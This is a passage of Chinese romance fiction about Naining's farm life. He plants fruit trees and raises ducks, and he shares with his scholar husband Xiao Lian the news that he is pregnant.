之前种了半圈棉花,这会想种些果树。 这个水塘算是大的,平时要注意巩固塘堤,而种树就有助于巩固塘堤。 各种果树奈宁都想种一些,李子桃子柑橘香蕉石榴龙眼荔枝还有木瓜,再搭一个葡萄架子,等葡萄长茂密了,可以在这里聊天喝茶,看鸭钓鱼。 种果树不是直接埋种子去种,不然得种到何年何月何时辰,要去买果苗。 跑到那些种果子的人家挖果苗,如此种下去的果子,短则一年半载能吃到。 奈宁过来就往牲畜圈走,小鸡小鸭看到他已经不陌生了,叽叽嘎嘎上来讨吃的。 青莲大丫轻车路熟地喂着鸡鸭,奈宁来了,拾了一点青菜叶子,往地上一丢小鸡小鸭跟着跑。 水渠引了一些水到这边,挖一个小小的水塘给小鸭子进去游,嘎嘎嘎的泅水,看得人都想玩。 喂猪也是轻松简单,不过小猪不是散养,要圈养。 看到人来了,哼哧哼哧讨吃的,就一些菜叶子也吃得很香。 番薯藤还没种出来,奈宁带着青莲大丫一握去割猪草。 沿着水渠走,一大片茂密的青草,家里的牛也放在这周边吃草。 两只狗子跟在奈宁前后汪汪汪跑来跑去,它们是真有用,之前在水里看到蛇,第一时间就发现了,冲那里叫个不停。 幸好也不是什么毒蛇,奈宁看了一眼不理会。 青莲大丫两个吓得不敢靠近,瑟瑟发抖,还是见得少了。 割完猪草回去,大丫娘还在种番薯,在果林里找有阳光的地方立垄,种完了浇水,看天色不早了又忙着做饭。 大丫娘就是乡下普通妇人能做干活儿,但做饭着实一般,几乎是炖熟了能吃就行。 现在大丫跟青莲的手艺都在她之上,大丫看到她娘煮饭,赶紧过去,看看水放多了没有。 一边将多余的水倒掉,一边笑道:“以前做饭都是阿娘教我的,现在反是我做得比娘做的好吃。” 大丫娘笑道:“嘿你个小丫头,还敢取笑娘!” 青莲露出满脸的艳羡。 奈宁看着他们,心中宽慰,来这里之后,相处起来都轻松多了,大家脸上笑容也更多了些。 大家一块做饭一块聊天,天南地北的聊,聊起饥荒,聊起那些艰难的岁月,大多是大丫娘在说他们在听,奈宁终于知道为何番薯要磨了取粉了。 常年将番薯当主食会死人! 多么震惊的一句话,奈宁被惊呆了。 大丫娘道:“那时旱荒,谷子收成不好,许多人吃番薯吃死的,这玩意平时一两顿吃多了都屁臭,俗话说得好,一斤番薯三斤屎,回头一看还不止。” 奈宁好奇道:“那养猪为啥没事?” 大丫娘说:“猪吃一年半载就宰了。” 奈宁哦哦哦,难怪番薯产量那么大,还能填肚子,大家还是喜欢种水稻。 他虽在农家,但好多道理都不晓得,只知道大家这样做,原来一切都是有道理的。 吃完饭奈宁带他们上山捡蘑菇,夫君不在,一不小心就忙久了。 看时辰不早,赶紧换了衣服回家接男人。 马上刚到,就听到钟声,学堂下课了。 也不知道头一天上学的夫君怎么样?会不会被罚站,他的腿有没有疼? 以防万一,出门前奈宁还是给他带上了拐杖,每次出门不管他拄不拄拐,奈宁都会给他备上拐杖。 正胡思乱想,他就出来了,满脸笑容春风得意,拄了拐但又没拄,走得迅急。 一眨眼就到了跟前,奈宁情不自禁迎上去。 萧练喊道:“夫郎!” 奈宁笑道:“什么事这么开心?” “看到夫郎自然开心!” 奈宁张张嘴又不知道说什么,捶了他一拳:“花言巧语。” 萧练拉着奈宁的手:“先回家!” 钟三在后头喊着:“萧兄萧兄等等我!” 马车已经悠扬而去。 每日皆是如此,夫夫二人一同坐上马车,先去了松山学堂之后奈宁前往农庄。 青莲大丫他们出发晚一些,在城门口等奈宁。 萧练休沐之日,也会跟奈宁一同去农庄,这会已经不是播种的季节了,除非种点菜,鸭子长大了些,可能赶下田去吃虫子了,唯一不妥的是它们会把青蛙也吃掉,不过看它们下田吃虫子吃草,实在舒心。 请的两位长工也满脸笑容,抹了一把汗。 这禾苗种下去天天要伺候,不是除草就是捉虫。 一年到头忙个不停。 现在好了,这么多小鸭子,没多久就把他们该干的活干完了。 他们就除除田埂的草,负责看好鸭子。 旁边许多村民看到他们如此,跟着有样学样,把鸭子赶下田去。 奈宁跟萧练就站在田埂边看鸭子捉虫吃,看得津津有味。 原本鸭子贪吃,拉的屎比鸡还臭,乡下人更喜欢养鸡。 但这会,好多人家都买两只来试试,给娃儿带,让他们有空就到家里的水田走走。 日子一天天过去,按理奈宁没忙多少,就偶尔帮帮忙,然后上山捡捡蘑菇,干活没有以前多,但浑身都觉得累,吃饭没胃口,多走两步腿还酸。 大丫娘一听,面带喜色:“夫郎大半是有喜了!” 立刻就跑去请郎中来诊断,果然有喜,而且快三个月了。 奈宁脸上带着喜色,一算日期,脸颊发烫,听旁人说怀孕前三个月要小心行房,但他与夫君好像没有小心。 所幸现在脉象安稳,他自己也没有太多不适。 待郎中走后,奈宁坐上马车,去松山学堂。 去到刚好放学,钟声敲响,奈宁在第一批出来的人群里看到了相公。 钟三亦步亦趋跟在萧练旁边:“萧兄多谢你,我的排名又上去了,哈哈!对了,我爹想请你与你夫郎到我家做客。” 萧练还没应答,一抬眼就看到了门口的夫郎,丢下一句,以后再说。 疾步往奈宁那边走去。 奈宁原本还想矜持一些,但一看到夫君,脸上不自觉扬起笑容,情不自禁迎上去,刚走近,手被男人拉住了,听到他说:“夫郎有个好消息!” 奈宁满脸笑容:“夫君,我也有个好消息。” “你先说。” “你先说。” 萧练被逗笑了,道:“楚峰中了,二甲第一名,不出意外会进翰林。” 奈宁眉眼弯弯道:“果然是好消息,以后夫君上京就一帆风顺了。” 萧练笑容灿烂,一派春风得意:“那夫郎有什么好消息告诉为夫。” 奈宁冲远处的钟三颌首,将萧练拉进马车,这才凑到他耳边低声道:“你要当爹了。” 萧练笑容凝固了一瞬,好像没反应过来他说了什么:“爹?” 奈宁拉着他的手放在自己肚子上,眼睛对他眨了眨。 萧练脑子顿时嗡嗡嗡的:“这这么突然的吗?” 奈宁嘴角一瘪:“你不想当爹?你做的时候可不是这么说的!” “不是,就有点反应不过来。”他搂着奈宁没看到多大的开心,闷闷的。 奈宁时不时偏头看他一眼,也不知道怎么想。 他的大手摁在肚子上暖暖的,奈宁也不管他怎么想,脑袋靠在他肩膀上,怎么舒适怎么躺,心里甜蜜蜜的。 大少爷消化完了,终于问下一句:“多久了?” “两个多月了。” 萧练再次吓了一跳:“两个多月?” 这段时间他们可一点都没消停,不过他们自从成亲之后也没怎么消停就是了。 萧练忍不住探探奈宁额头:“你没事吧?” “没事,好好的。”看着有点吓到了的夫君,奈宁忍不住亲亲他嘴角:“我很好。” 萧练笑了笑,把他抱进怀里,又唉地叹息一声。 他知道他们会有小孩,跟以前他们爹娘一样,组成一个三口之家,但没想到这日子来的这么快。 想想以前爹娘许就是在他们现在这个年纪恩恩爱爱,然后有了他。 现在他们也有了后,终有一天他们也会长成爹娘那个年纪,娃儿长大了,也会像现在的他们一般成家立业。 周而复始。 如此想着他脸上慢慢有了笑容,但那股沉甸甸的感觉还是挥之不去。 大手覆在夫郎肚子上,都不敢用力。 都说生子要过鬼门关。 他又叹息一声,将下颌搁在夫郎肩膀上。 奈宁嘴角的笑容越发灿烂,看男人时而笑时而发愁,忍不住又亲亲他。 之前老是觉得跟夫君像小孩子过家家,这回总算有一股成家立业的踏实感。 他们会好好的。